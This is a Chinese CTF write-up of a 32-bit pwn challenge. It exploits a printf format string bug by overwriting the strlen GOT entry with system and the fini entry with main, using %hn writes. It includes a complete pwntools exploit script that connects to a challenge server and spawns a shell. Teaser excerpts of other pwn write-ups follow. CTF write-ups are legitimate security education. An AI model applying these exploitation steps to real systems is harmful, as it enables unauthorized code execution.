首先看一下保護機制
然後我們拖入ida,發現是乙個很簡單的程式。
然而,最後的那個printf(&s);存在格式化字串漏洞,可以造成任意位址的讀寫。
首先,我們需要確定我們輸入的資料的相對位置。
經過測試,我們需要在前面填充2個字元,然後接下來我們的資料會位於第12個位置
那麼,我們的payload = 『aa』 + p32(address) + 『%10c%12$n』
,我們就能把address處的資料寫為(10+4+2+strlen(「nice to meet you,」))這個值
原理請見
那麼,我們可以用這種方式來修改got表
我們可以修改strlen的got表內容為system的plt,然後我們想辦法讓程式程式回到main,執行strlen,我們輸入/bin/sh,即可get shell
我們發現,程式結束時,會呼叫這個地方,我們利用
printf把這裡也一起修改為
main的位址
以上兩個地方的修改必須在一次完成,並且,我們的payload長度不能大於
64,因為程式最多讀取64個字元,因此,我們精心布置payload。並且,我們應該拆分4位元組,分開寫,不要,printf()需要輸出很多字元,假如我們要讓目標位址存入main_addr,如果我們是
payload = 『aa』 + p32(fini_got) + 「%」 + str(main_addr -4 -2 – strlen(「nice to meet you,」)) + 『c%12$n』,那麼printf需要輸出main_addr這麼多個字元,也就是
0x80485ed / 1024 / 1024 = 128mb
,這是非常低效的。因此,我們有另一種方法。在
printf
的格式化修飾符中,hn為word(字),hhn為byte(位元組),n為dword(雙字)
fini_got = 0x8049934
main_addr = 0x80485ed
strlen_got = 0x8049a54
system_plt = 0x8048490
此處的資料,只有後2位元組與main_addr不一樣,因此,我們只需要修改後兩位元組
然後就是strlen的got表內容,四個位元組我們都需要修改,我們拆分為2個2位元組寫。
arr = [
0x85ed,
0x8490,0x804
]
由於因特爾處理器小端儲存,因此,我們要在fini_got寫入2
位元組資料
arr[0] 在
strlen_got寫入2
位元組資料
arr[2]
,在strlen_got+2
處寫入2
位元組資料
arr[1]
我們應該按照資料的大小,從小到大的順序寫。
那麼,我們需要先寫0x804這個資料,再寫
0x8490,再寫
0x85ed(想想為什麼
?),這樣,
printf總共輸出了
0x85ed個字元,也就是
33kb大小的資料,效率提公升了近
4000倍
#coding:utf8
frompwnimport*
#sh = process('./pwnh16')
sh = remote(
'111.198.29.45'
,47556)
fini_got = 0x8049934
main_addr = 0x80485ed
strlen_got = 0x8049a54
system_plt = 0x8048490
sh.recvuntil(
'please tell me your name... '
) #
通過觀察
,這幾個位址只有後
2位元組不一樣
payload =
'a'*2
payload += p32(strlen_got)
payload += p32(strlen_got+2)
payload += p32(fini_got)
arr = [
0x85ed,
0x8490,0x804
] #
注意,我們的
payload
長度不能超過
64,不然後面的都讀取不到,因為最多輸入
64個字元
#hn
為word(
字),hhn
為byte(
位元組),n
為dword(雙字)
#修改strlen got
內容的前2位元組
num = arr[2] - 32
payload +=
'%'+ str(num) +
'c%13$hn'#修改
strlen got
內容的後2位元組
num = arr[1] - arr[2]
payload +=
'%'+ str(num) +
'c%12$hn'#修改
fini的後2
位元組num = arr[0] - arr[1]
payload +=
'%'+ str(num) +
'c%14$hn'
printlen(payload)
sh.sendline(payload)
#get shell
sh.recvuntil(
'please tell me your name... '
) sh.sendline(
'/bin/sh'
) sh.interactive()
攻防世界PWN之Welpwn題解
首先用ida檢視 發現主函式不能棧溢位,我們看看echo這個函式 echo會把主函式輸入的字串複製到區域性的s2裡,並且s2只有16位元組,可以造成溢位。echo函式先迴圈複製字元到s2,如果遇到0,就結束複製,然後輸出s2。因此,我們如果想直接覆蓋函式返回位址,那麼我們的目標函式必須沒有引數,否則...
攻防世界PWN之dubblesort題解
首先看一下程式的保護機制 保護全開,並且是乙個32位程式 然後,我們用ida分析一下 這裡,有兩個漏洞 第乙個是在呼叫read之前,沒有呼叫memset對 buf清空,因此,buf裡可能之前會有一些殘留的關鍵資料 第二個是,輸入的整數個數沒有上限,可以造成資料溢位,其實也就是棧溢位。我們在read斷...
攻防世界PWN之Nobug題解
首先,檢查一下程式的保護機制 pie和nx沒開,那麼,我們可以輕鬆的布置shellcode到棧裡或bss段或堆裡,然後跳轉。免去了洩露libc位址這些。然後,我們用ida分析一下 看似好像這裡sprintf不存在漏洞,我們再看看其他函式 看見乙個很複雜的函式,我們看看那個位址處是什麼 是查表法,看起...